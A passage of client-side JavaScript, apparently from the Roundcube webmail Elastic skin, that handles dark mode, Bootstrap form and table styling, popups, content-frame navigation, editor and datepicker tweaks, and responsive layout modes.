            $('[data-label-msg]').filter('ul,table').each(function() {
                var info = $('<div class="listing-info hidden">').insertAfter(this),
                    table = $(this),
                    fn = function() {
                        var ext, command,
                            msg = table.data('label-msg'),
                            list = table.is('ul') ? table : table.children('tbody');

                        if (!rcmail.env.search_request && !rcmail.env.qsearch
                            && msg && !list.children(':visible').length
                        ) {
                            ext = table.data('label-ext');
                            command = table.data('create-command');

                            if (ext && (!command || rcmail.commands[command])) {
                                msg += ' ' + ext;
                            }

                            info.text(msg).removeClass('hidden');
                            return;
                        }

                        info.addClass('hidden');
                    },
                    callback = function() {
                        // wait until the UI stops loading and the list is visible
                        if (rcmail.busy || !table.is(':visible')) {
                            return setTimeout(callback, 250);
                        }

                        clearTimeout(env.list_timer);
                        env.list_timer = setTimeout(fn, 50);
                    };

                // show/hide the message when something changes on the list
                var observer = new MutationObserver(callback);
                observer.observe(table[0], {childList: true, subtree: true, attributes: true, attributeFilter: ['style']});

                // initialize the message
                callback();
            });
        }

        // Add menu link for each attachment
        if (rcmail.env.action != 'print') {
            $('#attachment-list > li').each(function() {
                attachmentmenu_append(this);
            });
        }

        var phone_confirmation = function(label) {
            if (mode == 'phone') {
                rcmail.display_message(rcmail.gettext(label), 'confirmation');
            }
        };

        rcmail.addEventListener('fileappended', function(e) {
                if (e.attachment.complete) {
                    attachmentmenu_append(e.item);
                    if (e.attachment.mimetype == 'text/vcard' && rcmail.commands['attach-vcard']) {
                        phone_confirmation('vcard_attachments.vcardattached');
                    }
                }
            })
            .addEventListener('managesieve.insertrow', function(o) { bootstrap_style(o.obj); })
            .addEventListener('add-recipient', function() { phone_confirmation('recipientsadded'); });

        rcmail.init_pagejumper('.pagenav > input');

        if (rcmail.task == 'mail') {
            if (rcmail.env.action == 'compose') {
                rcmail.addEventListener('compose-encrypted', function(e) {
                    $("a.mode-html, button.attach").prop('disabled', e.active);
                    $('a.attach, a.responses:not(.edit)')[e.active ? 'addClass' : 'removeClass']('disabled');
                });

                $('#layout-sidebar > .footer:not(.pagenav) > a.button').click(function() {
                    if ($(this).is('.disabled')) {
                        rcmail.display_message(rcmail.gettext('nocontactselected'), 'warning');
                    }
                });

                // Update compose status bar on attachments list update
                if (window.MutationObserver) {
                    var observer, list = $('#attachment-list'),
                        status_callback = function() { compose_status('attach', list.children().length > 0); };

                    observer = new MutationObserver(status_callback);
                    observer.observe(list[0], {childList: true});
                    status_callback();
                }
            }

            // In compose/preview window we do not provide "Back" button, instead
            // we modify the "Mail" button in the task menu to act like it (i.e. calls 'list' command)
            if (!rcmail.env.extwin && (rcmail.env.action == 'compose' || rcmail.env.action == 'show')) {
                $('a.mail', layout.menu).attr({
                    'aria-disabled': false,
                    onclick: "return rcmail.command('list','',this,event);"
                });
            }

            // Append contact menu to all mailto: links
            if (rcmail.env.action == 'preview' || rcmail.env.action == 'show') {
                $('a').filter('[href^="mailto:"]').each(function() {
                    mailtomenu_append(this);
                });

                // restore headers view to last state
                headers_show();
            }
        }
        else if (rcmail.task == 'settings') {
            rcmail.addEventListener('identity-encryption-show', function(p) {
                bootstrap_style(p.container);
            });
            rcmail.addEventListener('identity-encryption-update', function(p) {
                bootstrap_style(p.container);
            });
        }

        rcmail.set_env({
            thread_padding: '1.5rem',
            // increase popup windows, so they do not switch to tablet mode
            popup_width_small: 1025,
            popup_width: 1200
        });

        // Update layout after initialization (again)
        // In devel mode we have to wait until all styles are applied by less
        if (rcmail.env.devel_mode && window.less) {
            less.pageLoadFinished.then(function() {
                resize();
                // Re-focus the focused input field on mail compose
                if (rcmail.env.compose_focus_elem) {
                    $(rcmail.env.compose_focus_elem).focus();
                }
            });
        }
        else {
            resize();
        }

        // Add date format placeholder to datepicker inputs
        var func, format = rcmail.env.date_format_localized;
        if (format) {
            func = function(input) {
                $(input).filter('.datepicker').attr('placeholder', format);
                // also make selects pretty
                $(input).parent().find('select').each(function() { pretty_select(this); });
            };

            $('input.datepicker').each(function() { func(this); });
            rcmail.addEventListener('insert-edit-field', func);
        }
    };

    /**
     * Initializes light/dark mode
     */
    function color_mode_init()
    {
        if (rcmail.env.action == 'print') {
            return;
        }

        // We deliberately use only cookies here, not local storage
        var pref = rcmail.get_cookie('colorMode'),
            color_scheme = window.matchMedia('(prefers-color-scheme: dark)'),
            reset_cookie = function() {
                rcmail.set_cookie('colorMode', '', new Date()); // delete the cookie
            },
            switch_iframe_color_mode = function() {
                try {
                    $(this.contentWindow.document).find('html')[color_mode == 'dark' ? 'addClass' : 'removeClass']('dark-mode');
                }
                catch(e) { /* ignore */ }
            },
            switch_color_mode = function() {
                if (color_mode == 'dark') {
                    $('#taskmenu a.theme').removeClass('dark').addClass('light').find('span').text(rcmail.gettext('lightmode'));
                    $('html').addClass('dark-mode');
                }
                else {
                    $('#taskmenu a.theme').removeClass('light').addClass('dark').find('span').text(rcmail.gettext('darkmode'));
                    $('html').removeClass('dark-mode');
                }

                screen_logo(mode);
                $('iframe').each(switch_iframe_color_mode);
            };

        if (rcmail.env.dark_mode_support === false) {
            if (pref == 'dark') {
                reset_cookie();
                $('iframe').each(switch_iframe_color_mode);
            }
            return;
        }

        // Add onclick action to the menu button
        $('#taskmenu a.theme').on('click', function() {
            color_mode = $(this).is('.dark') ? 'dark' : 'light';
            switch_color_mode();
            rcmail.set_cookie('colorMode', color_mode, false);
        });

        // Note: this does not work in IE and Safari
        color_scheme.addListener(function(e) {
            color_mode = e.matches ? 'dark' : 'light';
            switch_color_mode();
            reset_cookie();
        });

        if (pref) {
            color_mode = pref;
        }
        else if (color_scheme.matches) {
            color_mode = 'dark';
        }

        switch_color_mode();

        $('iframe').on('load', switch_iframe_color_mode);
    };

    /**
     * Apply bootstrap classes to html elements
     */
    function bootstrap_style(context)
    {
        if (!context) {
            context = document;
        }

        // Buttons
        $('input.button,button', context).not('.btn').addClass('btn').not('.btn-primary,.primary,.mainaction').addClass('btn-secondary');
        $('input.button.mainaction,button.primary,button.mainaction', context).addClass('btn-primary');
        $('button.btn.delete,button.btn.discard', context).addClass('btn-danger');

        $.each(['warning', 'error', 'information', 'confirmation'], function() {
            var type = this;
            $('.box' + type + ':not(.ui.alert)', context).each(function() {
                alert_style(this, type, true);
            });
        });

        // Convert structure of single dialogs (one input or just an image),
        // e.g. group create, attachment rename where we use <label>Label<input></label>
        if (context != document && $('.popup', context).children().length == 1) {
            var content = $('.popup', context).children().first();
            if (content.is('img')) {
                $('.popup', context).addClass('justified');
            }
            else if (content.is('label')) {
                var input = content.find('input').detach(),
                    label = content.detach(),
                    id = input.attr('id');

                if (!id) {
                    input.attr('id', id = 'dialog-input-elastic');
                }

                $('.popup', context).addClass('formcontent').append(
                    $('<div class="form-group row">')
                        .append(label.attr('for', id).addClass('col-sm-4 col-form-label text-break'))
                        .append($('<div class="col-sm-8">').append(input))
                );

                input.focus();
            }
        }

        // Forms
        var supported_controls = 'input:not(.button,.no-bs,[type=button],[type=radio],[type=checkbox],[type=file]),textarea';
        $(supported_controls, $('.propform', context)).addClass('form-control');
        $('[type=checkbox]', $('.propform', context)).addClass('form-check-input');

        // Note: On selects we add form-control to get consistent focus
        //       and to not have to create separate rules for selects and inputs
        $('select', context).addClass('form-control custom-select');

        if (context != document) {
            $(supported_controls, context).addClass('form-control');
        }

        $('table.propform', context).each(function() {
            var text_rows = 0, form_rows = 0;
            var col_sizes = ['sm', 4, 8];

            if ($(this).attr('class').match(/cols-([a-z]+)-(\d)-(\d)/)) {
                col_sizes = [RegExp.$1, RegExp.$2, RegExp.$3];
            }

            $(this).find('> tbody > tr, > tr').each(function() {
                var first, last, row = $(this),
                    row_classes = ['form-group', 'row'],
                    cells = row.children('td');

                if (cells.length == 2) {
                    first = cells.first();
                    last = cells.last();

                    $('label', first).addClass('col-form-label');
                    first.addClass('col-' + col_sizes[0] + '-' + col_sizes[1]);
                    last.addClass('col-' + col_sizes[0] + '-' + col_sizes[2]);

                    if (last.find('[type=checkbox]').length == 1 && !last.find('.proplist').length) {
                        row_classes.push('form-check');

                        if (last.find('a').length) {
                            row_classes.push('with-link');
                        }

                        form_rows++;
                    }
                    else if (!last.find('input:not([type=hidden]),textarea,radio,select').length) {
                        last.addClass('form-control-plaintext');
                        text_rows++;
                    }
                    else {
                        form_rows++;
                    }

                    // style some multi-input fields
                    if (last.children('.datepicker') && last.children('input').length == 2) {
                        last.addClass('datetime');
                    }
                }
                else if (cells.length == 1) {
                    cells.css('width', '100%');
                }

                row.addClass(row_classes.join(' '));
            });

            if (text_rows > form_rows) {
                $(this).addClass('text-only');
            }
        });

        // Special input + anything entry
        $('td.input-group', context).each(function() {
            $(this).children().slice(1).addClass('input-group-append');
        });

        // Other forms, e.g. Contact advanced search
        $('fieldset.propform:not(.grouped) div.row', context).each(function() {
            var has_input = $('input:not([type=hidden]),select,textarea', this).length > 0;

            if (has_input) {
                $(supported_controls, this).addClass('form-control');
            }

            $(this).children().last().addClass('col-sm-8' + (!has_input ? ' form-control-plaintext' : ''));
            $(this).children().first().addClass('col-sm-4 col-form-label');
            $(this).addClass('form-group');
        });

        // Contact info/edit form
        $('fieldset.propform.grouped fieldset', context).each(function() {
            $('.row', this).each(function() {
                var label, first,
                    has_input = $('input,select,textarea', this).length > 0,
                    items = $(this).children();

                if (has_input) {
                    $(supported_controls, this).addClass('form-control');
                }

                if (items.length < 2) {
                    return;
                }

                first = items.first();
                if (first.is('select')) {
                    first.addClass('input-group-prepend');
                }
                else {
                    first.wrap('<span class="input-group-prepend">').addClass('input-group-text');
                }

                if (!has_input) {
                    items.last().addClass('form-control-plaintext');
                }

                $('.content', this).addClass('input-group-prepend input-group-append input-group-text');
                $('a.deletebutton', this).addClass('input-group-text icon delete').wrap('<span class="input-group-append">');
                $(this).addClass('input-group');
            });
        });

        // Advanced options form
        $('fieldset.advanced', context).each(function() {
            var table = $(this).children('.propform').first();
            table.wrap($('<div>').addClass('collapse'));
            $(this).children('legend').first().addClass('closed').on('click', function() {
                table.parent().collapse('toggle');
                $(this).toggleClass('closed');
            });
        });

        // Other forms, e.g. Insert response
        $('.propform > .prop.block:not(.row)', context).each(function() {
            $(this).addClass('form-group row').each(function() {
                $('label', this).addClass('col-form-label').wrap($('<div class="col-sm-4">'));
                $('input,select,textarea', this).wrap($('<div class="col-sm-8">'));
                $(supported_controls, this).addClass('form-control');
            });
        });

        $('td.rowbuttons > a', context).addClass('btn');

        // Testing Bootstrap Tabs on contact info/edit page
        // Tabs do not scale nicely on very small screen, so can be used
        // only with small number of tabs with short text labels
        $('form.tabbed,div.tabbed', context).each(function(idx, item) {
            var tabs = [], nav = $('<ul>').attr({'class': 'nav nav-tabs', role: 'tablist'});

            $(this).addClass('tab-content').children('fieldset').each(function(i, fieldset) {
                var tab, id = fieldset.id || ('tab' + idx + '-' + i),
                    tab_class = $(fieldset).data('navlink-class');

                $(fieldset).addClass('tab-pane').attr({id: id, role: 'tabpanel'});

                tab = $('<li>').addClass('nav-item').append(
                    $('<a>').addClass('nav-link' + (tab_class ? ' ' + tab_class : ''))
                        .attr({role: 'tab', 'href': '#' + id})
                        .text($('legend', fieldset).first().text())
                        .click(function(e) {
                            $(this).tab('show');
                            // Because we return false we have to close popups
                            popups_close(e);
                            // Returning false here prevents from strange scrolling issue
                            // when the form is in an iframe, e.g. contact edit form
                            return false;
                        })
                );

                $('legend', fieldset).first().hide();
                tabs.push(tab);
            });

            // create the navigation bar
            nav.append(tabs).insertBefore(item);
            // activate the first tab
            $('a.nav-link', nav).first().click();
        });

        $('input[type=file]:not(.custom-file-input)', context).each(function() {
            var label_text = rcmail.gettext('choosefile' + (this.multiple ? 's' : '')),
                label = $('<label>').attr({'class': 'custom-file-label',
                    'data-browse': rcmail.gettext('browse')}).text(label_text);

            $(this).addClass('custom-file-input').wrap('<div class="custom-file">');
            $(this).on('change', function() {
                    var text = label_text;
                    if (this.files.length) {
                        text = this.files[0].name;
                        if (this.files.length > 1) {
                            text += ', ...';
                        }
                    }

                    // Note: We don't use label variable to allow cloning of the input
                    $(this).next().text(text);
                })
                .parent().append(label);
        });

        // Make tables prettier
        $('table:not(.table,.compact-table,.propform,.listing,.ui-datepicker-calendar)', context)
            .filter(function() {
                // exclude direct propform children and external content
                return !$(this).parent().is('.propform')
                    && !$(this).parents('#message-header,.message-htmlpart,.message-partheaders,.boxinformation,.raw-tables').length;
            })
            .each(function() {
                // TODO: Consider implementing automatic setting of table-responsive on window resize
                var table = $(this).addClass('table');
                table.parent().addClass('table-responsive-sm');
                table.find('thead').addClass('thead-default');
            });

        // The same for some other checkboxes
        // We do this here, not in setup() because we want to cover dialogs
        $('input.pretty-checkbox, .propform input[type=checkbox], .form-check input[type=checkbox], .popupmenu.form input[type=checkbox], .menu input[type=checkbox]', context)
            .each(function() { pretty_checkbox(this); });

        // Also when we add action-row of the form, e.g. Managesieve plugin adds them after the page is ready
        if ($(context).is('.actionrow')) {
            $('input[type=checkbox]', context).each(function() { pretty_checkbox(this); });
        }

        // Input-group combo is an element with a select field on the left
        // and input(s) on right, and where the whole right side can be hidden
        // depending on the select position. This code fixes border radius on select
        $('.input-group-combo > select', context).first().on('change', function() {
            var select = $(this),
                fn = function() {
                    select[select.next().is(':visible') ? 'removeClass' : 'addClass']('alone');
                };

            setTimeout(fn, 50);
            setTimeout(fn, 2000); // for devel mode
        }).trigger('change');

        // Make message-objects alerts pretty (the same as UI alerts)
        $('#message-objects', context).children(':not(.ui.alert)').add('.part-notice').each(function() {
            // message objects with notice class are really warnings
            var cl = String($(this).removeClass('notice part-notice').attr('class')).split(/\s/)[0] || 'warning';
            alert_style(this, cl);
            $(this).addClass('box' + cl);
            $('a', this).addClass('btn btn-primary btn-sm');
        });

        // Form validation errors (managesieve plugin)
        $('.error', context).addClass('is-invalid');

        // Make logon form prettier
        if (rcmail.env.task == 'login' && context == document) {
            $('#rcmloginsubmit').addClass('btn-lg text-uppercase w-100');
            $('#rcmloginoauth').addClass('btn btn-secondary btn-lg w-100');
            $('#login-form table tr').each(function() {
                var input = $('input,select', this),
                    label = $('label', this),
                    icon_name = input.data('icon'),
                    icon = $('<i>').attr('class', 'input-group-text icon ' + input.attr('name').replace('_', ''));

                if (icon_name) {
                    icon.addClass(icon_name);
                }

                $(this).addClass('form-group row');
                label.parent().css('display', 'none');
                input.addClass(input.is('select') ? 'custom-select' : 'form-control')
                    .attr('placeholder', label.text())
                    .before($('<span class="input-group-prepend">').append(icon))
                    .parent().addClass('input-group input-group-lg');
            });
        }

        $('select:not([multiple])', context).each(function() { pretty_select(this); });
    };

    /**
     * Initializes popup menus
     */
    function dropdowns_init()
    {
        $('[data-popup]').each(function() { popup_init(this); });

        $(document).on('click', popups_close);
        rcube_webmail.set_iframe_events({mousedown: popups_close, touchstart: popups_close});
    };

    /**
     * Init content frame
     */
    function content_frame_init()
    {
        if (!layout.list.length) {
            return;
        }

        var last_selected = env.last_selected,
            title_reset = function(title) {
                if (typeof title !== 'string' || !title.length) {
                    title = $('h1.voice').text() || $('title').text() || '';
                }

                layout.content.find('.header > .header-title').text(title);
            };

        // display or reset the content frame
        var common_content_handler = function(e, href, show, title)
        {
            if (is_mobile() && env.frame_nav) {
                content_frame_navigation(href, e);
            }

            if (show && !layout.content.is(':visible')) {
                env.last_selected = layout.content[0];
            }
            else if (!show && env.last_selected != last_selected && !env.content_lock) {
                env.last_selected = last_selected;
            }

            screen_resize();

            title_reset(title && show ? title : null);

            env.content_lock = false;
        };

        var common_list_handler = function(e) {
            if (mode != 'large' && !env.content_lock && e.force) {
                show_list();
            }

            env.content_lock = false;

            // display current folder name in list header
            if (e.title) {
                $('.header > .header-title', layout.list).text(e.title);
            }
        };

        var list_handler = function(e) {
            var args = {};

            if (rcmail.env.task == 'addressbook' || rcmail.env.task == 'mail') {
                args.force = true;
            }

            // display current folder name in list header
            if (rcmail.env.task == 'mail' && !rcmail.env.action) {
                var name = $.type(e) == 'string' ? e : rcmail.env.mailbox,
                    folder = rcmail.env.mailboxes[name];

                args.title = folder ? folder.name : '';
            }

            common_list_handler(args);
        };

        // when loading content-frame in small-screen mode display it
        layout.content.find('iframe').on('load', function(e) {
            var win, href = '', show = true;

            // Reset the scroll position of the iframe-wrapper
            $(this).parent('.iframe-wrapper').scrollTop(0);

            try {
                win = e.target.contentWindow;
                href = win.location.href;
                show = !href.endsWith(rcmail.env.blankpage);

                // Reset title back to the default
                $(win).on('unload', title_reset);
            }
            catch(e) { /* ignore */ }

            common_content_handler(e, href, show);
        });

        rcmail
            .addEventListener('afterlist', list_handler)
            .addEventListener('afterlistgroup', list_handler)
            .addEventListener('afterlistsearch', list_handler)
            // plugins
            .addEventListener('show-list', function(e) {
                e.force = true;
                common_list_handler(e);
            })
            .addEventListener('show-content', function(e) {
                if (e.obj && !$(e.obj).is('iframe')) {
                    $(e.scrollElement || e.obj).scrollTop(0);
                    if (is_mobile()) {
                        iframe_loader(e.obj);
                    }
                }

                common_content_handler(e.event || new Event, '_action=' + (e.mode || 'edit'), true, e.title);
            });
    };

    /**
     * Content frame navigation
     */
    function content_frame_navigation(href, event)
    {
        // Don't display navigation for create/add action frames
        if (href.match(/_action=(create|add)/) || href.match(/_nav=hide/)) {
            $(env.frame_nav).addClass('hide-nav-buttons');
            return;
        }

        var node, uid, list, _list = $('[data-list]', layout.list).data('list');

        if (!_list || !(list = rcmail[_list])) {
            // hide navbar if there are no visible buttons, e.g. Help plugin UI
            if ($(env.frame_nav).is('.hide-nav-buttons') && !$('.buttons', env.frame_nav).children().length) {
                $(env.frame_nav).addClass('hidden');
            }
            return;
        }

        $(env.frame_nav).removeClass('hide-nav-buttons hidden');

        // expand collapsed row so we do not skip the whole thread
        // TODO: Unified interface for list and treelist widgets
        if (uid = list.get_single_selection()) {
            if (list.rows && list.rows[uid] && !list.rows[uid].expanded) {
                list.expand_row(event, uid);
            }
            else if (list.get_node && (node = list.get_node(uid)) && node.collapsed) {
                list.expand(uid);
            }
        }

        var prev, next,
            frame = $('#' + rcmail.env.contentframe),
            next_button = $('a.button.next', env.frame_nav).off('click').addClass('disabled'),
            prev_button = $('a.button.prev', env.frame_nav).off('click').addClass('disabled');

        if ((next = list.get_next()) || rcmail.env.current_page < rcmail.env.pagecount) {
            next_button.removeClass('disabled').on('click', function() {
                env.content_lock = true;
                iframe_loader(frame);

                if (next) {
                    list.select(next);
                }
                else {
                    rcmail.env.list_uid = 'FIRST';
                    rcmail.command('nextpage');
                }
            });
        }

        if (((prev = list.get_prev()) && (prev != '*' || _list != 'subscription_list')) || rcmail.env.current_page > 1) {
            prev_button.removeClass('disabled').on('click', function() {
                env.content_lock = true;
                iframe_loader(frame);

                if (prev) {
                    list.select(prev);
                }
                else {
                    rcmail.env.list_uid = 'LAST';
                    rcmail.command('previouspage');
                }
            });
        }
    };

    /**
     * Handler for editor-init event
     */
    function tinymce_init(o)
    {
        var onload = [],
            is_editor = $('#' + o.id).parent().is('.html-editor');

        // Enable autoresize plugin
        o.config.plugins += ' autoresize';

        if (is_touch()) {
            // Use minimalistic toolbar
            o.config.toolbar = 'undo redo | link image styleselect';
        }

        if (rcmail.task == 'mail' && rcmail.env.action == 'compose') {
            var floating = false,
                form = $('#compose-content > form'),
                keypress = function(e) {
                    if (e.key == 'Tab' && e.shiftKey) {
                        $('#compose-content > form').scrollTop(0);
                    }
                };

            // Shift+Tab on mail compose editor scrolls the page to the top
            onload.push(function(ed) {
                ed.on('keypress', keypress);
            });

            $('#composebody').on('keypress', keypress);

            // Keep the editor toolbar on top of the screen on scroll
            form.on('scroll', function() {
                var container = $('.tox-editor-container', form),
                    toolbar = container.find('.tox-toolbar-overlord'),
                    editor_offset = container.offset(),
                    header_top = form.offset().top;

                if (editor_offset && (editor_offset.top - header_top < 0)) {
                    toolbar.css({position: 'fixed', top: header_top + 'px', width: container.width() + 'px'});
                    floating = true;
                }
                else {
                    // Focusing the subject when scrolling back to the top fixes
                    // an annoying bouncing scrollbar bug (#8046)
                    if (floating) {
                        $('#compose-subject').focus();
                        floating = false;
                    }
                    toolbar.css({position: 'relative', top: 0, width: 'auto'})
                }
            });

            $(window).resize(function() { form.trigger('scroll'); });
        }

        if (is_editor) {
            o.config.toolbar = 'plaintext | ' + o.config.toolbar;
            // Use setup_callback, we can't use editor-load event
            o.config.setup_callback = function(ed) {
                ed.ui.registry.addButton('plaintext', {
                    tooltip: rcmail.gettext('plaintoggle'),
                    icon: 'close',
                    onAction: function(e) {
                        if (rcmail.command('toggle-editor', {id: ed.id, html: false}, '', e.originalEvent)) {
                            $('#' + ed.id).parent().removeClass('ishtml');
                        }
                    }
                });
            };
        }

        // Add styling for TinyMCE dialogs
        onload.push(function(ed) {
            ed.on('OpenWindow', function(e) {
                var dialog = $('.tox-dialog:last')[0],
                    callback = function(e) {
                        var body = $(dialog).find('.tox-dialog__body'),
                            foot = $(dialog).find('.tox-dialog__footer'),
                            buttons = foot.find('button');

                        if (!e) {
                            // Fix icons in Find and Replace dialog footer
                            if (buttons.length === 4) {
                                body.closest('.tox-dialog').addClass('tox-search-dialog');
                            }
                            // Switch Save and Cancel buttons order
                            else if (buttons.length == 2) {
                                buttons.first().insertAfter(buttons[1]);
                            }

                            // TODO: Styling form elements does not work well because of
                            // https://github.com/tinymce/tinymce/issues/4867
                            // also https://github.com/tinymce/tinymce/issues/4869
                        }

                        body.find('.tox-checkbox > input').each(function() { pretty_checkbox(this); });
                        body.find('.tox-textarea,.tox-textfield').addClass('form-control');
                    };

                // TODO: Maybe some day we'll not have to use MutationObserver
                // https://github.com/tinymce/tinymce/issues/4869
                if (window.MutationObserver) {
                    (new MutationObserver(callback)).observe($('.tox-dialog__body-content', dialog)[0], {childList: true});
                }
                callback();
            });
        });

        rcmail.addEventListener('editor-load', function(e) {
            $.each(onload, function() { this(e.ref.editor); });
        });
    };

    function datepicker_init(datepicker)
    {
        // Datepicker widget improvements: overlay element, styling updates on calendar element update
        // The widget does not provide any event system, so we use MutationObserver
        if (window.MutationObserver) {
            $(datepicker).not('[data-observed]').each(function() {
                var overlay, hidden = true,
                    win = is_framed ? parent : window,
                    callback = function(data) {
                        $.each(data, function(i, v) {
                            // add/remove overlay on widget show/hide
                            if (v.type == 'attributes') {
                                var is_hidden = $(v.target).attr('aria-hidden') == 'true';
                                if (is_hidden != hidden) {
                                    if (!is_hidden) {
                                        overlay = $('<div>').attr('class', 'ui-widget-overlay datepicker')
                                            .appendTo(win.document.body)
                                            .click(function(e) {
                                                $(this).remove();
                                                if (is_framed) {
                                                    $.datepicker._hideDatepicker();
                                                }
                                            });
                                    }
                                    else if (overlay) {
                                        overlay.remove();
                                    }
                                    hidden = is_hidden;
                                }
                            }
                            else if (v.addedNodes.length) {
                                // apply styles when widget content changed
                                win.UI.bootstrap_style(v.target);

                                // Month/Year change handlers do not work from parent, fix it
                                if (is_framed) {
                                    win.$('select.ui-datepicker-month', v.target).on('change', function() {
                                        $.datepicker._selectMonthYear($.datepicker._lastInput, this, "M");
                                    });
                                    win.$('select.ui-datepicker-year', v.target).on('change', function() {
                                        $.datepicker._selectMonthYear($.datepicker._lastInput, this, "Y");
                                    });
                                }
                            }
                        });
                    };

                $(this).attr('data-observed', '1');

                if (is_framed) {
                    // move the datepicker to parent window
                    $(this).detach().appendTo(parent.document.body);

                    // create fake element, so the valid one is not removed by datepicker code
                    $('<div id="ui-datepicker-div" class="hidden">').appendTo(document.body);
                }

                (new MutationObserver(callback)).observe(this, {childList: true, subtree: false, attributes: true, attributeFilter: ['aria-hidden']});
            });
        }
    };

    function toggle_list_selection(obj, list_id)
    {
        if ($(obj).is('.active')) {
            set_pref(
                'list-selection',
                $('#' + list_id).toggleClass('withselection').is('.withselection')
            );
        }
    };

    /**
     * Handler for some Roundcube core popups
     */
    function rcmail_popup_init(o)
    {
        // Add some common styling to the autocomplete/googiespell popups
        $('ul', o.obj).addClass('menu listing iconized');
        $(o.obj).addClass('popupmenu popover');
        bootstrap_style(o.obj);

        // for googiespell list
        $('input', o.obj).addClass('form-control');

        // Modify the googiespell menu on mobile
        if (is_mobile() && $(o.obj).is('.googie_window')) {
            // Set popup Close title
            var title = rcmail.gettext('close'),
                class_name = 'button icon cancel',
                close_link = $('<a>').attr('class', class_name).text(title)
                    .click(function(e) {
                        e.stopPropagation();
                        $('.popover-overlay').remove();
                        $(o.obj).hide();
                    });

            $('<h3 class="popover-header">').append(close_link).prependTo(o.obj);

            // add overlay element for phone layout
            if (!$('.popover-overlay').length) {
                $('<div>').attr('class', 'popover-overlay')
                    .appendTo('body')
                    .click(function() { $(this).remove(); });
            }

            $('ul,button', o.obj).click(function(e) {
                if (!$(e.target).is('input')) {
                    $('.popover-overlay').remove();
                }
            });
        }
    };

    /**
     * Handler for 'enable-command' event
     */
    function enable_command_handler(args)
    {
        if (is_framed) {
            $.each(frame_buttons, function(i, button) {
                if (args.command == button.command) {
                    parent.$('#' + button.button_id)[args.status ? 'removeClass' : 'addClass']('disabled');
                }
            });
        }

        if (rcmail.task == 'mail') {
            switch (args.command) {
            case 'reply-list':
                if (rcmail.env.reply_all_mode == 1) {
                    var label = rcmail.gettext(args.status ? 'replylist' : 'replyall');
                    $('.toolbar a.reply-all').attr('title', label).find('.inner').text(label);
                }
                break;

            case 'compose-encrypted':
                // show the toolbar button for Mailvelope
                $('.toolbar a.encrypt').parent().show();
                break;

            case 'compose-encrypted-signed':
                // enable selector for encrypt and sign
                $('#encryption-menu-button').show();
                break;
            }
        }
    };

    /**
     *  screen mode
     */
    function screen_mode()
    {
        var size, width = $(window).width();

        if (width <= 480)
            size = 'phone';
        else if (width > 1200)
            size = 'large';
        else if (width > 768)
            size = 'normal';
        else
            size = 'small';

        touch = width <= 1024;
        mode = size;
    };

    /**
     *  Get current screen mode
     */
    function get_screen_mode()
    {
        return mode;
    };

    /**
     * Window resize handler
     * Does layout reflows e.g. on screen orientation change
     */
    function resize()
    {
        var mobile;

        screen_mode();
        screen_resize();
        screen_resize_html();

        // disable ext-windows and other features
        if (mobile = is_mobile()) {
            rcmail.set_env(env.small_screen_config);
            rcmail.enable_command('extwin', false);
        }
        else {
            rcmail.set_env(env.config);
            rcmail.enable_command('extwin', true);
        }

        // Hide content frame buttons on small devices (with frame toolbar in parent window)
        $.each(content_buttons, function() { $(this)[mobile ? 'hide' : 'show'](); });

        rcmail.triggerEvent('skin-resize', { mode: mode })
    };

    function screen_resize()
    {
        if (is_framed && !layout.sidebar.length && !layout.list.length) {
            screen_resize_headers();
            return;
        }

        switch (mode) {
            case 'phone': screen_resize_phone(); break;
            case 'small': screen_resize_small(); break;
            case 'normal': screen_resize_normal(); break;
            case 'large': screen_resize_large(); break;
        }

        screen_logo(mode);
        screen_resize_headers();

        // On iOS and Android the content frame height is never correct, fix it.
        // Actually I observed the issue on my old iPad with iOS 9.3.
        if (bw.webkit && bw.ipad && bw.agent.match(/OS 9/)) {
            $('.iframe-wrapper').each(function() {
                var h = $(this).height();
                if (h) {
                    $(this).children('iframe').height(h);
                }
            });
        }
    };

    /**
     * Assigns layout-* and touch-mode class to the 'html' element
     *
     * If we're inside an iframe that is small we have to
     * check if the parent window is also small (mobile).
     * We use that e.g. to still display desktop-like popovers in dialogs
     */
    function screen_resize_html()
    {
        var meta = layout_metadata(),
            html = $(document.documentElement);

        if (html[0].className.match(/layout-([a-z]+)/)) {
            if (RegExp.$1 != meta.mode) {
                html.removeClass('layout-' + RegExp.$1)
                    .addClass('layout-' + meta.mode);
            }
        }
        else {
            html.addClass('layout-' + meta.mode);
        }

        if (meta.touch && !html.is('.touch')) {
            html.addClass('touch');
        }
        else if (!meta.touch && html.is('.touch')) {
            html.removeClass('touch');
        }
    };

    function screen_logo(mode)
    {
        var logos = rcmail.env.additional_logos;
        if (logos) {
            // Store default logo path if not already set
            if (!$('#logo').data('src-default')) {
                $('#logo').data('src-default', $('#logo').attr('src'));
            }

            if (mode == 'phone' && color_mode == 'dark' && logos['small-dark']) {
                $('#logo').attr('src', logos['small-dark']);
            }
            else if (mode == 'phone' && logos['small']) {
                $('#logo').attr('src', logos['small']);
            }
            else if (color_mode == 'dark' && logos['dark']) {
                $('#logo').attr('src', logos['dark']);
            }
            else {
                $('#logo').attr('src', $('#logo').data('src-default'));
            }
        }
    }

    /**
     * Sets left and right margin to the header title element to make it
     * properly centered depending on the number of buttons on both sides
     */
    function screen_resize_headers()
    {
        $('#layout > div > .header').each(function() {
            var title, right = 0, left = 0, padding = 0,
                sizes = {left: 0, right: 0};

            $(this).children(':visible:not(.position-absolute)').each(function() {
                if (!title && $(this).is('.header-title')) {
                    title = $(this);
                    return;
                }

                sizes[title ? 'right' : 'left'] += this.offsetWidth;
            });

            if (padding + sizes.right >= sizes.left) {
                right = 0;
                left = sizes.right + padding - sizes.left;
            }
            else {
                left = 0;
                right = sizes.left - (padding + sizes.right);
            }

            $(title).css({
                'margin-right': right + 'px',
                'margin-left': left + 'px',
                'padding-right': padding + 'px'
            });
        });
    };

    function screen_resize_phone()
    {
        screen_resize_small_all();
        app_menu(false);
    };

    function screen_resize_small()
    {
        screen_resize_small_all();
        app_menu(true);
    };

    function screen_resize_normal()
    {
        var show;

        if (layout.list.length) {
            show = layout.list.is(env.last_selected) || (!layout.sidebar.is(env.last_selected) && !layout.sidebar.is('.layout-sticky'));
            layout.list[show ? 'removeClass' : 'addClass']('hidden');
        }
        if (layout.sidebar.length) {
            show = !layout.list.length || layout.sidebar.is(env.last_selected) || layout.sidebar.is('.layout-sticky');
            layout.sidebar[show ? 'removeClass' : 'addClass']('hidden');
        }

        layout.content.removeClass('hidden');
        app_menu(true);
        screen_resize_small_none();

        if (layout.list.length) {
            $('.header > ul.menu', layout.list).addClass('popupmenu');
        }
    };

    function screen_resize_large()
    {
